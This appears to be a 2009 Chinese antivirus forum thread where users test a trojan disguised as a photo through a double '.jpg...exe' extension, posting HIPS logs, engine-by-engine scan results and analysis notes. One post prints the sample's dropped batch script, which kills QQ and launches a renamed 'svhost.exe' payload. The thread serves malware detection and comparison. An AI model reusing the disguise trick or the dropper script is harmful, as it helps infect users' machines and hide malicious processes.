再发一个新样本，看看谁家的最早查出来！

ostrich

RT。。。。。。。。。

左手

2009-10-21 17:35:28    创建文件      操作:阻止
进程路径:E:\test\我的相片\我的照片.jpg........................................exe
文件路径:C:\WINDOWS\__tmp_rar_sfx_access_check_9693375
触发规则:所有程序规则->FD:02…文件创建修改规则->%windir%\*


2009-10-21 17:35:31    创建文件      操作:阻止
进程路径:E:\test\我的相片\我的照片.jpg........................................exe
文件路径:C:\WINDOWS\dp1.fne
触发规则:所有程序规则->FD:02…文件创建修改规则->%windir%\*


2009-10-21 17:35:31    创建文件      操作:阻止
进程路径:E:\test\我的相片\我的照片.jpg........................................exe
文件路径:C:\WINDOWS\dp1.fne
触发规则:所有程序规则->FD:02…文件创建修改规则->%windir%\*


2009-10-21 17:35:31    创建文件      操作:阻止并结束进程
进程路径:E:\test\我的相片\我的照片.jpg........................................exe
文件路径:C:\WINDOWS\2.bat
触发规则:所有程序规则->FD:01…系统文件读写规则Ⅰ->%SystemDrive%\*.bat


2009-10-21 17:35:31    创建文件      操作:阻止并结束进程
进程路径:E:\test\我的相片\我的照片.jpg........................................exe
文件路径:C:\WINDOWS\2.bat
触发规则:所有程序规则->FD:01…系统文件读写规则Ⅰ->%SystemDrive%\*.bat


2009-10-21 17:35:31    创建文件      操作:阻止
进程路径:E:\test\我的相片\我的照片.jpg........................................exe
文件路径:C:\WINDOWS\mm1.jpg
触发规则:所有程序规则->FD:02…文件创建修改规则->%windir%\*


2009-10-21 17:35:31    创建文件      操作:阻止
进程路径:E:\test\我的相片\我的照片.jpg........................................exe
文件路径:C:\WINDOWS\mm1.jpg
触发规则:所有程序规则->FD:02…文件创建修改规则->%windir%\*


2009-10-21 17:35:31    创建文件      操作:阻止
进程路径:E:\test\我的相片\我的照片.jpg........................................exe
文件路径:C:\WINDOWS\svhost.dat
触发规则:所有程序规则->FD:02…文件创建修改规则->%windir%\*

============

伞MISS

白玉箫

@echo off
if "%~1"=="" start /min "" "%~0" h&exit
@taskkill /f /im qq.exe
@taskkill /f /im svhost.exe
@del svhost.exe
@ren svhost.dat svhost.exe
@start svhost.exe
exit

dp1.fne ：dll文件
mm1.jpg：妹妹长的很一般
svhost.dat：asp的壳

凝逸反毒

dp1.fne 易的

悠柚

Multi Command-Line Scanner 报告
-------------------------------------------------------------------------
D:\TDDownload\我的相片\我的照片.jpg........................................exe
MD5 Hash: 3E47400DBF2FF95CD5C16C92E4440C01

A-squared -----Nothing
BitDefender ----- Trojan.Generic.2357543
F-Prot -----Nothing
Sophos -----Nothing
VBA32 -----Nothing

*** 1/5 杀毒引擎在文件中发现病毒 ***
-------------------------------------------------------------------------

任务完成 @ 2009-10-21 星期三 17:41:35.31
注意: 结果可能与GUI版本不同。

foxzhou1983

to avast。。。。。。。。

北山精灵

诺顿2010未报
江民2010未报
费尔未报
微点扫描未报（主动防御在运行时删除！）

coldwinter

Zillya! Antivirus(/)
共5个文件,查杀1 个文件
相关:http://bbs.kafan.cn/thread-571132-1-1.html
截图

Comodo Antivirus
共5个文件,查杀0个文件
相关:http://bbs.kafan.cn/thread-576771-1-1.html

教父

AVK2006

benjamian

NOD32不报，只是说什么校验错误



[ 本帖最后由 benjamian 于 2009-10-21 18:09 编辑 ]